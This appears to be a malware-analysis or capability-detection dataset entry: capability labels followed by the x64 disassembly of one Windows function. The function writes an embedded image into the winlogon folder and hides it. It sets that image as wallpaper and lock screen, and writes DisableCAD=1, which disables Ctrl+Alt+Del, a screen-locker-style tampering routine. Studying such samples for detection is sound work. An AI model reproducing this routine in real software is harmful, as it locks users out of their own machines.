Function at 0x140001730
Capabilities:
Extract resource via kernel32 functions
Get common file path
Set file attributes
Set registry value
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x210]
sub rsp, 0x310
mov rax, qword [0x140009040]
xor rax, rsp
mov qword [rbp + 0x200], rax
mov qword [rsp + 0x50], rcx
mov edx, 0x104
lea rcx, [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea rdx, [rbp - 0x10]
lea rcx, [rbp - 0x50]
call fcn.140001200
nop
lea rdx, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova rdx, qword [rbp - 0x50]
mov rax, qword [rbp - 0x40]
lea r8, [rdx + rax*2]
lea rdx, [rbp - 0x50]
cmova rdx, qword [rbp - 0x50]
lea rcx, [rbp - 0x30]
call fcn.140003e00
nop
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov r12, qword [rbp - 0x20]
sub rax, r12
cmp rax, 0x1a
jb 0x140001bce
lea r14, [rbp - 0x30]
mov r15, qword [rbp - 0x30]
mov r13, qword [rbp - 0x18]
cmp r13, 0xf
cmova r14, r15
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
lea rsi, [r12 + 0x1a]
mov ebx, 0xf
lea rdi, [rsp + 0x68]
cmp rsi, rbx
jbe 0x140001884
mov rbx, rsi
or rbx, 0xf
cmp rbx, rcx
jbe 0x140001846
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140004540
test rax, rax
je 0x140001b01
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000187f
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x14000185f
xor edi, edi
jmp 0x14000187f
cmp rcx, 0x1000
jb 0x140001877
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001bd4
jmp 0x140001827
call fcn.140004540
mov rdi, rax
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x78], rsi
mov qword [rbp - 0x80], rbx
mov r8, r12
mov rdx, r14
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [str.System32winlogonres.jpeg]
movups xmmword [r12 + rdi], xmm0
movsd xmm0, qword [0x1400065d8]
movsd qword [r12 + rdi + 0x10], xmm0
movzx eax, word [0x1400065e0]
mov word [r12 + rdi + 0x18], ax
mov byte [rdi + rsi], 0
lea rdx, [rsp + 0x68]
cmp qword [rbp - 0x80], 0xf
cmova rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x78]
add r8, rdx
lea rdx, [rsp + 0x68]
cmp qword [rbp - 0x80], 0xf
cmova rdx, qword [rsp + 0x68]
lea rcx, [rbp - 0x70]
call fcn.140003cb0
lea r12, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova r12, qword [rbp - 0x70]
lea r8, [0x1400065e8]
mov edx, 0x66
mov rdi, qword [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r14, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
mov qword [rsp + 0x20], 0
lea r9, [rbp - 0x78]
mov r8d, edi
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov edx, 6
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov r9d, 1
mov r8, r12
xor edx, edx
mov ecx, 0x14
call qword [sym.imp.USER32.dll_SystemParametersInfoW]
xor ebx, ebx
mov qword [rsp + 0x40], rbx
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140001a7a
mov dword [rsp + 0x28], 8
mov qword [rsp + 0x20], r12
mov r9d, 1
xor r8d, r8d
lea rdx, str.LockScreenImage
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [rsp + 0x60], 1
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableCAD
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x140001a7a
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x140001abd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001ab8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001ab8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400047c4
movdqa xmm0, xmmword [0x140006f70]
movdqu xmmword [rbp - 0x60], xmm0
mov word [rbp - 0x70], bx
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x140001b0d
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001b08
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001b08
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400047c4
movdqa xmm0, xmmword [0x140006f80]
movdqu xmmword [rsp + 0x78], xmm0
mov byte [rsp + 0x68], 0
cmp r13, 0xf
jbe 0x140001b5b
lea rdx, [r13 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x140001b52
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001b52
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r15
call fcn.1400047c4
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 7
jbe 0x140001b9e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001b99
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001b99
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400047c4
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.140004520
lea r11, [rsp + 0x310]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011e0
nop
call fcn.140001140
int3